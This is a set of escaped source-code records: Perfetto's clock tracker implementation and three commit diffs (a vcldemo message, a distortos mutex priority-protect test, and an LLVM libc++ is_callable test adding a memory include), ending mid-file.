(C) 2019 The Android Open Source Project\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include \"src\/trace_processor\/importers\/common\/clock_tracker.h\"\n\n#include <inttypes.h>\n\n#include <algorithm>\n#include <atomic>\n#include <queue>\n\n#include \"perfetto\/base\/logging.h\"\n#include \"perfetto\/ext\/base\/hash.h\"\n#include \"src\/trace_processor\/storage\/trace_storage.h\"\n#include \"src\/trace_processor\/types\/trace_processor_context.h\"\n\n#include \"protos\/perfetto\/common\/builtin_clock.pbzero.h\"\n#include \"protos\/perfetto\/trace\/clock_snapshot.pbzero.h\"\n\nnamespace perfetto {\nnamespace trace_processor {\n\nusing Clock = protos::pbzero::ClockSnapshot::Clock;\n\nClockTracker::ClockTracker(TraceProcessorContext* ctx)\n    : context_(ctx),\n      trace_time_clock_id_(protos::pbzero::BUILTIN_CLOCK_BOOTTIME) {}\n\nClockTracker::~ClockTracker() = default;\n\nvoid ClockTracker::AddSnapshot(const std::vector<ClockValue>& clocks) {\n  const auto snapshot_id = cur_snapshot_id_++;\n\n  \/\/ Clear the cache\n  cache_.fill({});\n\n  \/\/ Compute the fingerprint of the snapshot by hashing all clock ids. This is\n  \/\/ used by the clock pathfinding logic.\n  base::Hash hasher;\n  for (const auto& clock : clocks)\n    hasher.Update(clock.clock_id);\n  const auto snapshot_hash = static_cast<SnapshotHash>(hasher.digest());\n\n  \/\/ Add a new entry in each clock's snapshot vector.\n  for (const auto& clock : clocks) {\n    ClockId clock_id = clock.clock_id;\n    ClockDomain& domain = clocks_[clock_id];\n    if (domain.snapshots.empty()) {\n      if (clock.is_incremental && !ClockIsSeqScoped(clock_id)) {\n        PERFETTO_ELOG(\"Clock sync error: the global clock with id=%\" PRIu64\n                      \" cannot use incremental encoding; this is only \"\n                      \"supported for sequence-scoped clocks.\",\n                      clock_id);\n        context_->storage->IncrementStats(stats::invalid_clock_snapshots);\n        return;\n      }\n      domain.unit_multiplier_ns = clock.unit_multiplier_ns;\n      domain.is_incremental = clock.is_incremental;\n    } else if (PERFETTO_UNLIKELY(\n                   domain.unit_multiplier_ns != clock.unit_multiplier_ns ||\n                   domain.is_incremental != clock.is_incremental)) {\n      PERFETTO_ELOG(\"Clock sync error: the clock domain with id=%\" PRIu64\n                    \" (unit=%\" PRIu64\n                    \", incremental=%d), was previously registered with \"\n                    \"different properties (unit=%\" PRIu64 \", incremental=%d).\",\n                    clock_id, clock.unit_multiplier_ns, clock.is_incremental,\n                    domain.unit_multiplier_ns, domain.is_incremental);\n      context_->storage->IncrementStats(stats::invalid_clock_snapshots);\n      return;\n    }\n    const int64_t timestamp_ns =\n        clock.absolute_timestamp * domain.unit_multiplier_ns;\n    domain.last_timestamp_ns = timestamp_ns;\n\n    ClockSnapshots& vect = domain.snapshots[snapshot_hash];\n    if (!vect.snapshot_ids.empty() &&\n        PERFETTO_UNLIKELY(vect.snapshot_ids.back() == snapshot_id)) {\n      PERFETTO_ELOG(\"Clock sync error: duplicate clock domain with id=%\" PRIu64\n                    \" at snapshot %\" PRIu32 \".\",\n                    clock_id, snapshot_id);\n      context_->storage->IncrementStats(stats::invalid_clock_snapshots);\n      return;\n    }\n\n    \/\/ Clock ids in the range [64, 128) are sequence-scoped and must be\n    \/\/ translated to global ids via SeqScopedClockIdToGlobal() before calling\n    \/\/ this function.\n    PERFETTO_DCHECK(!IsReservedSeqScopedClockId(clock_id));\n\n    \/\/ Snapshot IDs must be always monotonic.\n    PERFETTO_DCHECK(vect.snapshot_ids.empty() ||\n                    vect.snapshot_ids.back() < snapshot_id);\n\n    if (!vect.timestamps_ns.empty() &&\n        timestamp_ns < vect.timestamps_ns.back()) {\n      \/\/ Clock is not monotonic.\n\n      if (clock_id == trace_time_clock_id_) {\n        \/\/ The trace clock cannot be non-monotonic.\n        PERFETTO_ELOG(\"Clock sync error: the trace clock (id=%\" PRIu64\n                      \") is not monotonic at snapshot %\" PRIu32 \". %\" PRId64\n                      \" not >= %\" PRId64 \".\",\n                      clock_id, snapshot_id, timestamp_ns,\n                      vect.timestamps_ns.back());\n        context_->storage->IncrementStats(stats::invalid_clock_snapshots);\n        return;\n      }\n\n      PERFETTO_DLOG(\"Detected non-monotonic clock with ID %\" PRIu64, clock_id);\n\n      \/\/ For the other clocks the best thing we can do is mark it as\n      \/\/ non-monotonic and refuse to use it as a source clock in the resolution\n      \/\/ graph. We can still use it as a target clock, but not viceversa.\n      \/\/ The concrete example is the CLOCK_REALTIME going 1h backwards during\n      \/\/ daylight saving. We can still answer the question \"what was the\n      \/\/ REALTIME timestamp when BOOTTIME was X?\" but we can't answer the\n      \/\/ opposite question because there can be two valid BOOTTIME(s) for the\n      \/\/ same REALTIME instant because of the 1:many relationship.\n      non_monotonic_clocks_.insert(clock_id);\n\n      \/\/ Erase all edges from the graph that start from this clock (but keep the\n      \/\/ ones that end on this clock).\n      auto begin = graph_.lower_bound(ClockGraphEdge{clock_id, 0, 0});\n      auto end = graph_.lower_bound(ClockGraphEdge{clock_id + 1, 0, 0});\n      graph_.erase(begin, end);\n    }\n    vect.snapshot_ids.emplace_back(snapshot_id);\n    vect.timestamps_ns.emplace_back(timestamp_ns);\n  }\n\n  \/\/ Create graph edges for all the possible tuples of clocks in this snapshot.\n  \/\/ If the snapshot contains clock a, b, c, d create edges [ab, ac, ad, bc, bd,\n  \/\/ cd] and the symmetrical ones [ba, ca, da, bc, db, dc].\n  \/\/ This is to store the information: Clock A is syncable to Clock B via the\n  \/\/ snapshots of type (hash).\n  \/\/ Clocks that were previously marked as non-monotonic won't be added as\n  \/\/ valid sources.\n  for (auto it1 = clocks.begin(); it1 != clocks.end(); ++it1) {\n    auto it2 = it1;\n    ++it2;\n    for (; it2 != clocks.end(); ++it2) {\n      if (!non_monotonic_clocks_.count(it1->clock_id))\n        graph_.emplace(it1->clock_id, it2->clock_id, snapshot_hash);\n\n      if (!non_monotonic_clocks_.count(it2->clock_id))\n        graph_.emplace(it2->clock_id, it1->clock_id, snapshot_hash);\n    }\n  }\n}\n\n\/\/ Finds the shortest clock resolution path in the graph that allows to\n\/\/ translate a timestamp from |src| to |target| clocks.\n\/\/ The return value looks like the following: \"If you want to convert a\n\/\/ timestamp from clock C1 to C2 you need to first convert C1 -> C3 using the\n\/\/ snapshot hash A, then convert C3 -> C2 via snapshot hash B\".\nClockTracker::ClockPath ClockTracker::FindPath(ClockId src, ClockId target) {\n  \/\/ This is a classic breadth-first search. Each node in the queue holds also\n  \/\/ the full path to reach that node.\n  \/\/ We assume the graph is acyclic, if it isn't the ClockPath::kMaxLen will\n  \/\/ stop the search anyways.\n  PERFETTO_CHECK(src != target);\n  std::queue<ClockPath> queue;\n  queue.emplace(src);\n\n  while (!queue.empty()) {\n    ClockPath cur_path = queue.front();\n    queue.pop();\n\n    const ClockId cur_clock_id = cur_path.last;\n    if (cur_clock_id == target)\n      return cur_path;\n\n    if (cur_path.len >= ClockPath::kMaxLen)\n      continue;\n\n    \/\/ Expore all the adjacent clocks.\n    \/\/ The lower_bound() below returns an iterator to the first edge that starts\n    \/\/ on |cur_clock_id|. The edges are sorted by (src, target, hash).\n    for (auto it = std::lower_bound(graph_.begin(), graph_.end(),\n                                    ClockGraphEdge(cur_clock_id, 0, 0));\n         it != graph_.end() && std::get<0>(*it) == cur_clock_id; ++it) {\n      ClockId next_clock_id = std::get<1>(*it);\n      SnapshotHash hash = std::get<2>(*it);\n      queue.push(ClockPath(cur_path, next_clock_id, hash));\n    }\n  }\n  return ClockPath();  \/\/ invalid path.\n}\n\nbase::Optional<int64_t> ClockTracker::ConvertSlowpath(ClockId src_clock_id,\n                                                      int64_t src_timestamp,\n                                                      ClockId target_clock_id) {\n  PERFETTO_DCHECK(!IsReservedSeqScopedClockId(src_clock_id));\n  PERFETTO_DCHECK(!IsReservedSeqScopedClockId(target_clock_id));\n\n  context_->storage->IncrementStats(stats::clock_sync_cache_miss);\n\n  ClockPath path = FindPath(src_clock_id, target_clock_id);\n  if (!path.valid()) {\n    \/\/ Too many logs maybe emitted when path is invalid.\n    static std::atomic<uint32_t> dlog_count = 0;\n    if (dlog_count++ < 10) {\n      PERFETTO_DLOG(\"No path from clock %\" PRIu64 \" to %\" PRIu64\n                    \" at timestamp %\" PRId64,\n                    src_clock_id, target_clock_id, src_timestamp);\n    }\n    context_->storage->IncrementStats(stats::clock_sync_failure);\n    return base::nullopt;\n  }\n\n  \/\/ We can cache only single-path resolutions between two clocks.\n  \/\/ Caching multi-path resolutions is harder because the (src,target) tuple\n  \/\/ is not enough as a cache key: at any step the |ns| value can yield to a\n  \/\/ different choice of the next snapshot. Multi-path resolutions don't seem\n  \/\/ too frequent these days, so we focus only on caching the more frequent\n  \/\/ one-step resolutions (typically from any clock to the trace clock).\n  const bool cacheable = path.len == 1;\n  CachedClockPath cache_entry{};\n\n  \/\/ Iterate trough the path found and translate timestamps onto the new clock\n  \/\/ domain on each step, until the target domain is reached.\n  ClockDomain* src_domain = GetClock(src_clock_id);\n  int64_t ns = src_domain->ToNs(src_timestamp);\n  for (uint32_t i = 0; i < path.len; ++i) {\n    const ClockGraphEdge edge = path.at(i);\n    ClockDomain* cur_clock = GetClock(std::get<0>(edge));\n    ClockDomain* next_clock = GetClock(std::get<1>(edge));\n    const SnapshotHash hash = std::get<2>(edge);\n\n    \/\/ Find the closest timestamp within the snapshots of the source clock.\n    const ClockSnapshots& cur_snap = cur_clock->GetSnapshot(hash);\n    const auto& ts_vec = cur_snap.timestamps_ns;\n    auto it = std::upper_bound(ts_vec.begin(), ts_vec.end(), ns);\n    if (it != ts_vec.begin())\n      --it;\n\n    \/\/ Now lookup the snapshot id that matches the closest timestamp.\n    size_t index = static_cast<size_t>(std::distance(ts_vec.begin(), it));\n    PERFETTO_DCHECK(index < ts_vec.size());\n    PERFETTO_DCHECK(cur_snap.snapshot_ids.size() == ts_vec.size());\n    uint32_t snapshot_id = cur_snap.snapshot_ids[index];\n\n    \/\/ And use that to retrieve the corresponding time in the next clock domain.\n    \/\/ The snapshot id must exist in the target clock domain. If it doesn't\n    \/\/ either the hash logic or the pathfinding logic are bugged.\n    \/\/ This can also happen if the checks in AddSnapshot fail and we skip part\n    \/\/ of the snapshot.\n    const ClockSnapshots& next_snap = next_clock->GetSnapshot(hash);\n\n    \/\/ Using std::lower_bound because snapshot_ids is sorted, so we can do\n    \/\/ a binary search. std::find would do a linear scan.\n    auto next_it = std::lower_bound(next_snap.snapshot_ids.begin(),\n                                    next_snap.snapshot_ids.end(), snapshot_id);\n    if (next_it == next_snap.snapshot_ids.end() || *next_it != snapshot_id) {\n      PERFETTO_DFATAL(\"Snapshot does not exist in clock domain.\");\n      continue;\n    }\n    size_t next_index = static_cast<size_t>(\n        std::distance(next_snap.snapshot_ids.begin(), next_it));\n    PERFETTO_DCHECK(next_index < next_snap.snapshot_ids.size());\n    int64_t next_timestamp_ns = next_snap.timestamps_ns[next_index];\n\n    \/\/ The translated timestamp is the relative delta of the source timestamp\n    \/\/ from the closest snapshot found (ns - *it), plus the timestamp in\n    \/\/ the new clock domain for the same snapshot id.\n    const int64_t adj = next_timestamp_ns - *it;\n    ns += adj;\n\n    \/\/ On the first iteration, keep track of the bounds for the cache entry.\n    \/\/ This will allow future Convert() calls to skip the pathfinder logic\n    \/\/ as long as the query stays within the bound.\n    if (cacheable) {\n      PERFETTO_DCHECK(i == 0);\n      const int64_t kInt64Min = std::numeric_limits<int64_t>::min();\n      const int64_t kInt64Max = std::numeric_limits<int64_t>::max();\n      cache_entry.min_ts_ns = it == ts_vec.begin() ? kInt64Min : *it;\n      auto ubound = it + 1;\n      cache_entry.max_ts_ns = ubound == ts_vec.end() ? kInt64Max : *ubound;\n      cache_entry.translation_ns = adj;\n    }\n\n    \/\/ The last clock in the path must be the target clock.\n    PERFETTO_DCHECK(i < path.len - 1 || std::get<1>(edge) == target_clock_id);\n  }\n\n  if (cacheable) {\n    cache_entry.src = src_clock_id;\n    cache_entry.src_domain = src_domain;\n    cache_entry.target = target_clock_id;\n    cache_[rnd_() % cache_.size()] = cache_entry;\n  }\n\n  return ns;\n}\n\n}  \/\/ namespace trace_processor\n}  \/\/ namespace perfetto\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>vcldemo: create --popup mode demonstrating Windows GL issue.<commit_after><|endoftext|>"}
{"text":"<commit_before>\/**\n * \\file\n * \\brief MutexPriorityProtectOperationsTestCase class implementation\n *\n * \\author Copyright (C) 2014 Kamil Szczygiel http:\/\/www.distortec.com http:\/\/www.freddiechopin.info\n *\n * \\par License\n * This Source Code Form is subject to the terms of the Mozilla Public License, v. 2.0. If a copy of the MPL was not\n * distributed with this file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n *\n * \\date 2014-11-09\n *\/\n\n#include \"MutexPriorityProtectOperationsTestCase.hpp\"\n\n#include \"waitForNextTick.hpp\"\n\n#include \"distortos\/Mutex.hpp\"\n#include \"distortos\/ThisThread.hpp\"\n\n#include <cerrno>\n\nnamespace distortos\n{\n\nnamespace test\n{\n\nnamespace\n{\n\n\/*---------------------------------------------------------------------------------------------------------------------+\n| local constants\n+---------------------------------------------------------------------------------------------------------------------*\/\n\n\/\/\/ single duration used in tests\nconstexpr auto singleDuration = TickClock::duration{1};\n\n\/\/\/ priority of current test thread\nconstexpr uint8_t testThreadPriority {UINT8_MAX};\n\n\/*---------------------------------------------------------------------------------------------------------------------+\n| local functions\n+---------------------------------------------------------------------------------------------------------------------*\/\n\n\/**\n * \\brief Runs the test case.\n *\n * \\attention this function expects the priority of test thread to be testThreadPriority\n *\n * \\return true if the test case succeeded, false otherwise\n *\/\n\nbool testRunner_()\n{\n\tstatic const Mutex::Type types[]\n\t{\n\t\t\tMutex::Type::Normal,\n\t\t\tMutex::Type::ErrorChecking,\n\t\t\tMutex::Type::Recursive,\n\t};\n\n\tfor (const auto type : types)\n\t{\n\t\tMutex mutex {type, Mutex::Protocol::PriorityProtect, testThreadPriority - 1};\n\n\t\t{\n\t\t\t\/\/ invalid lock attempt - must fail with EINVAL immediately\n\t\t\twaitForNextTick();\n\t\t\tconst auto start = TickClock::now();\n\t\t\tconst auto ret = mutex.lock();\n\t\t\tif (ret != EINVAL || start != TickClock::now())\n\t\t\t\treturn false;\n\t\t}\n\n\t\t{\n\t\t\t\/\/ invalid lock attempt - must fail with EINVAL immediately\n\t\t\twaitForNextTick();\n\t\t\tconst auto start = TickClock::now();\n\t\t\tconst auto ret = mutex.tryLock();\n\t\t\tif (ret != EINVAL || start != TickClock::now())\n\t\t\t\treturn false;\n\t\t}\n\n\t\t{\n\t\t\t\/\/ invalid lock attempt - must fail with EINVAL immediately\n\t\t\twaitForNextTick();\n\t\t\tconst auto start = TickClock::now();\n\t\t\tconst auto ret = mutex.tryLockFor(singleDuration);\n\t\t\tif (ret != EINVAL || start != TickClock::now())\n\t\t\t\treturn false;\n\t\t}\n\n\t\t{\n\t\t\t\/\/ invalid lock attempt - must fail with EINVAL immediately\n\t\t\twaitForNextTick();\n\t\t\tconst auto start = TickClock::now();\n\t\t\tconst auto ret = mutex.tryLockUntil(start + singleDuration);\n\t\t\tif (ret != EINVAL || start != TickClock::now())\n\t\t\t\treturn false;\n\t\t}\n\t}\n\n\treturn true;\n}\n\n}\t\/\/ namespace\n\n\/*---------------------------------------------------------------------------------------------------------------------+\n| private functions\n+---------------------------------------------------------------------------------------------------------------------*\/\n\nbool MutexPriorityProtectOperationsTestCase::run_() const\n{\n\tconst auto thisThreadPriority = ThisThread::getPriority();\n\tThisThread::setPriority(testThreadPriority);\n\tconst auto ret = testRunner_();\n\tThisThread::setPriority(thisThreadPriority);\n\treturn ret;\n}\n\n}\t\/\/ namespace test\n\n}\t\/\/ namespace distortos\n<commit_msg>test: run MutexPriorityProtectOperationsTestCase at priority 1<commit_after>\/**\n * \\file\n * \\brief MutexPriorityProtectOperationsTestCase class implementation\n *\n * \\author Copyright (C) 2014 Kamil Szczygiel http:\/\/www.distortec.com http:\/\/www.freddiechopin.info\n *\n * \\par License\n * This Source Code Form is subject to the terms of the Mozilla Public License, v. 2.0. If a copy of the MPL was not\n * distributed with this file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n *\n * \\date 2014-11-11\n *\/\n\n#include \"MutexPriorityProtectOperationsTestCase.hpp\"\n\n#include \"waitForNextTick.hpp\"\n\n#include \"distortos\/Mutex.hpp\"\n#include \"distortos\/ThisThread.hpp\"\n\n#include <cerrno>\n\nnamespace distortos\n{\n\nnamespace test\n{\n\nnamespace\n{\n\n\/*---------------------------------------------------------------------------------------------------------------------+\n| local constants\n+---------------------------------------------------------------------------------------------------------------------*\/\n\n\/\/\/ single duration used in tests\nconstexpr auto singleDuration = TickClock::duration{1};\n\n\/\/\/ priority of current test thread\nconstexpr uint8_t testThreadPriority {1};\n\n\/*---------------------------------------------------------------------------------------------------------------------+\n| local functions\n+---------------------------------------------------------------------------------------------------------------------*\/\n\n\/**\n * \\brief Runs the test case.\n *\n * \\attention this function expects the priority of test thread to be testThreadPriority\n *\n * \\return true if the test case succeeded, false otherwise\n *\/\n\nbool testRunner_()\n{\n\tstatic const Mutex::Type types[]\n\t{\n\t\t\tMutex::Type::Normal,\n\t\t\tMutex::Type::ErrorChecking,\n\t\t\tMutex::Type::Recursive,\n\t};\n\n\tfor (const auto type : types)\n\t{\n\t\tMutex mutex {type, Mutex::Protocol::PriorityProtect, testThreadPriority - 1};\n\n\t\t{\n\t\t\t\/\/ invalid lock attempt - must fail with EINVAL immediately\n\t\t\twaitForNextTick();\n\t\t\tconst auto start = TickClock::now();\n\t\t\tconst auto ret = mutex.lock();\n\t\t\tif (ret != EINVAL || start != TickClock::now())\n\t\t\t\treturn false;\n\t\t}\n\n\t\t{\n\t\t\t\/\/ invalid lock attempt - must fail with EINVAL immediately\n\t\t\twaitForNextTick();\n\t\t\tconst auto start = TickClock::now();\n\t\t\tconst auto ret = mutex.tryLock();\n\t\t\tif (ret != EINVAL || start != TickClock::now())\n\t\t\t\treturn false;\n\t\t}\n\n\t\t{\n\t\t\t\/\/ invalid lock attempt - must fail with EINVAL immediately\n\t\t\twaitForNextTick();\n\t\t\tconst auto start = TickClock::now();\n\t\t\tconst auto ret = mutex.tryLockFor(singleDuration);\n\t\t\tif (ret != EINVAL || start != TickClock::now())\n\t\t\t\treturn false;\n\t\t}\n\n\t\t{\n\t\t\t\/\/ invalid lock attempt - must fail with EINVAL immediately\n\t\t\twaitForNextTick();\n\t\t\tconst auto start = TickClock::now();\n\t\t\tconst auto ret = mutex.tryLockUntil(start + singleDuration);\n\t\t\tif (ret != EINVAL || start != TickClock::now())\n\t\t\t\treturn false;\n\t\t}\n\t}\n\n\treturn true;\n}\n\n}\t\/\/ namespace\n\n\/*---------------------------------------------------------------------------------------------------------------------+\n| private functions\n+---------------------------------------------------------------------------------------------------------------------*\/\n\nbool MutexPriorityProtectOperationsTestCase::run_() const\n{\n\tconst auto thisThreadPriority = ThisThread::getPriority();\n\tThisThread::setPriority(testThreadPriority);\n\tconst auto ret = testRunner_();\n\tThisThread::setPriority(thisThreadPriority);\n\treturn ret;\n}\n\n}\t\/\/ namespace test\n\n}\t\/\/ namespace distortos\n<|endoftext|>"}
{"text":"<commit_before>\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is dual licensed under the MIT and the University of Illinois Open\n\/\/ Source Licenses. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n\/\/ UNSUPPORTED: c++98, c++03, c++11, c++14\n\n\/\/ type_traits\n\n\/\/ is_callable\n\n\/\/ Most testing of is_callable is done within the [meta.trans.other] result_of\n\/\/ tests.\n\n#include <type_traits>\n#include <functional>\n\n#include \"test_macros.h\"\n\nstruct Tag {};\nstruct DerFromTag : Tag {};\n\nstruct Implicit {\n  Implicit(int) {}\n};\n\nstruct Explicit {\n  explicit Explicit(int) {}\n};\n\nstruct NotCallableWithInt {\n  int operator()(int) = delete;\n  int operator()(Tag) { return 42; }\n};\n\nint main()\n{\n    {\n        using Fn = int(Tag::*)(int);\n        using RFn = int(Tag::*)(int) &&;\n        \/\/ INVOKE bullet 1, 2 and 3\n        {\n            \/\/ Bullet 1\n            static_assert(std::is_callable<Fn(Tag&, int)>::value);\n            static_assert(std::is_callable<Fn(DerFromTag&, int)>::value);\n            static_assert(std::is_callable<RFn(Tag&&, int)>::value);\n            static_assert(!std::is_callable<RFn(Tag&, int)>::value);\n            static_assert(!std::is_callable<Fn(Tag&)>::value);\n            static_assert(!std::is_callable<Fn(Tag const&, int)>::value);\n        }\n        {\n            \/\/ Bullet 2\n            using T = std::reference_wrapper<Tag>;\n            using DT = std::reference_wrapper<DerFromTag>;\n            using CT = std::reference_wrapper<const Tag>;\n            static_assert(std::is_callable<Fn(T&, int)>::value);\n            static_assert(std::is_callable<Fn(DT&, int)>::value);\n            static_assert(std::is_callable<Fn(const T&, int)>::value);\n            static_assert(std::is_callable<Fn(T&&, int)>::value);\n            static_assert(!std::is_callable<Fn(CT&, int)>::value);\n            static_assert(!std::is_callable<RFn(T, int)>::value);\n        }\n        {\n            \/\/ Bullet 3\n            using T = Tag*;\n            using DT = DerFromTag*;\n            using CT = const Tag*;\n            using ST = std::unique_ptr<Tag>;\n            static_assert(std::is_callable<Fn(T&, int)>::value);\n            static_assert(std::is_callable<Fn(DT&, int)>::value);\n            static_assert(std::is_callable<Fn(const T&, int)>::value);\n            static_assert(std::is_callable<Fn(T&&, int)>::value);\n            static_assert(std::is_callable<Fn(ST, int)>::value);\n            static_assert(!std::is_callable<Fn(CT&, int)>::value);\n            static_assert(!std::is_callable<RFn(T, int)>::value);\n        }\n    }\n    {\n        \/\/ Bullets 4, 5 and 6\n        using Fn = int (Tag::*);\n        static_assert(!std::is_callable<Fn()>::value);\n        {\n            \/\/ Bullet 4\n            static_assert(std::is_callable<Fn(Tag&)>::value);\n            static_assert(std::is_callable<Fn(DerFromTag&)>::value);\n            static_assert(std::is_callable<Fn(Tag&&)>::value);\n            static_assert(std::is_callable<Fn(Tag const&)>::value);\n        }\n        {\n            \/\/ Bullet 5\n            using T = std::reference_wrapper<Tag>;\n            using DT = std::reference_wrapper<DerFromTag>;\n            using CT = std::reference_wrapper<const Tag>;\n            static_assert(std::is_callable<Fn(T&)>::value);\n            static_assert(std::is_callable<Fn(DT&)>::value);\n            static_assert(std::is_callable<Fn(const T&)>::value);\n            static_assert(std::is_callable<Fn(T&&)>::value);\n            static_assert(std::is_callable<Fn(CT&)>::value);\n        }\n        {\n            \/\/ Bullet 6\n            using T = Tag*;\n            using DT = DerFromTag*;\n            using CT = const Tag*;\n            using ST = std::unique_ptr<Tag>;\n            static_assert(std::is_callable<Fn(T&)>::value);\n            static_assert(std::is_callable<Fn(DT&)>::value);\n            static_assert(std::is_callable<Fn(const T&)>::value);\n            static_assert(std::is_callable<Fn(T&&)>::value);\n            static_assert(std::is_callable<Fn(ST)>::value);\n            static_assert(std::is_callable<Fn(CT&)>::value);\n        }\n    }\n    {\n        \/\/ INVOKE bullet 7\n        {\n            \/\/ Function pointer\n            using Fp = void(*)(Tag&, int);\n            static_assert(std::is_callable<Fp(Tag&, int)>::value);\n            static_assert(std::is_callable<Fp(DerFromTag&, int)>::value);\n            static_assert(!std::is_callable<Fp(const Tag&, int)>::value);\n            static_assert(!std::is_callable<Fp()>::value);\n            static_assert(!std::is_callable<Fp(Tag&)>::value);\n        }\n        {\n            \/\/ Function reference\n            using Fp = void(&)(Tag&, int);\n            static_assert(std::is_callable<Fp(Tag&, int)>::value);\n            static_assert(std::is_callable<Fp(DerFromTag&, int)>::value);\n            static_assert(!std::is_callable<Fp(const Tag&, int)>::value);\n            static_assert(!std::is_callable<Fp()>::value);\n            static_assert(!std::is_callable<Fp(Tag&)>::value);\n        }\n        {\n            \/\/ Function object\n            using Fn = NotCallableWithInt;\n            static_assert(std::is_callable<Fn(Tag)>::value, \"\");\n            static_assert(!std::is_callable<Fn(int)>::value, \"\");\n        }\n    }\n    {\n        \/\/ Check that the conversion to the return type is properly checked\n        using Fn = int(*)();\n        static_assert(std::is_callable<Fn(), Implicit>::value);\n        static_assert(std::is_callable<Fn(), double>::value);\n        static_assert(std::is_callable<Fn(), const volatile void>::value);\n        static_assert(!std::is_callable<Fn(), Explicit>::value);\n    }\n    {\n        \/\/ Check for is_callable_v\n        using Fn = void(*)();\n        static_assert(std::is_callable_v<Fn()>);\n        static_assert(!std::is_callable_v<Fn(int)>);\n    }\n}\n<commit_msg>Add proper include for unique_ptr. Patch from STL@microsoft.com<commit_after>\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is dual licensed under the MIT and the University of Illinois Open\n\/\/ Source Licenses. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n\/\/ UNSUPPORTED: c++98, c++03, c++11, c++14\n\n\/\/ type_traits\n\n\/\/ is_callable\n\n\/\/ Most testing of is_callable is done within the [meta.trans.other] result_of\n\/\/ tests.\n\n#include <type_traits>\n#include <functional>\n#include <memory>\n\n#include \"test_macros.h\"\n\nstruct Tag {};\nstruct DerFromTag : Tag {};\n\nstruct Implicit {\n  Implicit(int) {}\n};\n\nstruct Explicit {\n  explicit Explicit(int) {}\n};\n\nstruct NotCallableWithInt {\n  int operator()(int) = delete;\n  int operator()(Tag) { return 42; }\n};\n\nint main()\n{\n    {\n        using Fn = int(Tag::*)(int);\n        using RFn = int(Tag::*)(int) &&;\n        \/\/ INVOKE bullet 1, 2 and 3\n        {\n            \/\/ Bullet 1\n            static_assert(std::is_callable<Fn(Tag&, int)>::value);\n            static_assert(std::is_callable<Fn(DerFromTag&, int)>::value);\n            static_assert(std::is_callable<RFn(Tag&&, int)>::value);\n            static_assert(!std::is_callable<RFn(Tag&, int)>::value);\n            static_assert(!std::is_callable<Fn(Tag&)>::value);\n            static_assert(!std::is_callable<Fn(Tag const&, int)>::value);\n        }\n        {\n            \/\/ Bullet 2\n            using T = std::reference_wrapper<Tag>;\n            using DT = std::reference_wrapper<DerFromTag>;\n            using CT = std::reference_wrapper<const Tag>;\n            static_assert(std::is_callable<Fn(T&, int)>::value);\n            static_assert(std::is_callable<Fn(DT&, int)>::value);\n            static_assert(std::is_callable<Fn(const T&, int)>::value);\n            static_assert(std::is_callable<Fn(T&&, int)>::value);\n            static_assert(!std::is_callable<Fn(CT&, int)>::value);\n            static_assert(!std::is_callable<RFn(T, int)>::value);\n        }\n        {\n            \/\/ Bullet 3\n            using T = Tag*;\n            using DT = DerFromTag*;\n            using CT = const Tag*;\n            using ST = std::unique_ptr<Tag>;\n            static_assert(std::is_callable<Fn(T&, int)>::value);\n            static_assert(std::is_callable<Fn(DT&, int)>::value);\n            static_assert(std::is_callable<Fn(const T&, int)>::value);\n            static_assert(std::is_callable<Fn(T&&, int)>::value);\n            static_assert(std::is_callable<Fn(ST, int)>::value);\n            static_assert(!std::is_callable<Fn(CT&, int)>::value);\n            static_assert(!std::is_callable<RFn(T, int)>::value);\n        }\n    }\n    {\n        \/\/ Bullets 4, 5 and 6\n        using Fn = int (Tag::*);\n        static_assert(!std::is_callable<Fn()>::value);\n        {\n            \/\/ Bullet 4\n            static_assert(std::is_callable<Fn(Tag&)>::value);\n            static_assert(std::is_callable<Fn(DerFromTag&)>::value);\n            static_assert(std::is_callable<Fn(Tag&&)>::value);\n            static_assert(std::is_callable<Fn(Tag const&)>::value);\n        }\n        {\n            \/\/ Bullet 5\n            using T = std::reference_wrapper<Tag>;\n            using DT = std::reference_wrapper<DerFromTag>;\n            using CT = std::reference_wrapper<const Tag>;\n            static_assert(std::is_callable<Fn(T&)>::value);\n            static_assert(std::is_callable<Fn(DT&)>::value);\n            static_assert(std::is_callable<Fn(const T&)>::value);\n            static_assert(std::is_callable<Fn(T&&)>::value);\n            static_assert(std::is_callable<Fn(CT&)>::value);\n        }\n        {\n            \/\/ Bullet 6\n            using T = Tag*;\n            using DT = DerFromTag*;\n            using CT = const Tag*;\n            using ST = std::unique_ptr<Tag>;\n            static_assert(std::is_callable<Fn(T&)>::value);\n            static_assert(std::is_callable<Fn(DT&)>::value);\n            static_assert(std::is_callable<Fn(const T&)>::value);\n            static_assert(std::is_callable<Fn(T&&)>::value);\n            static_assert(std::is_callable<Fn(ST)>::value);\n            static_assert(std::is_callable<Fn(CT&)>::value);\n        }\n    }\n    {\n        \/\/ INVOKE bullet 7\n        {\n            \/\/ Function pointer\n            using Fp = void(*)(Tag&, int);\n            static_assert(std::is_callable<Fp(Tag&, int)>::value);\n            static_assert(std::is_callable<Fp(DerFromTag&, int)>::value);\n            static_assert(!std::is_callable<Fp(const Tag&, int)>::value);\n            static_assert(!std::is_callable<Fp()>::value);\n            static_assert(!std::is_callable<Fp(Tag&)>::value);\n        }\n        {\n            \/\/ Function reference\n            using Fp = void(&)(Tag&, int);\n            static_assert(std::is_callable<Fp(Tag&, int)>::value);\n            static_assert(std::is_callable<Fp(DerFromTag&, int)>::value);\n            static_assert(!std::is_callable<Fp(const Tag&, int)>::value);\n            static_assert(!std::is_callable<Fp()>::value);\n            static_assert(!std::is_callable<Fp(Tag&)>::value);\n        }\n        {\n            \/\/ Function object\n            using Fn = NotCallableWithInt;\n           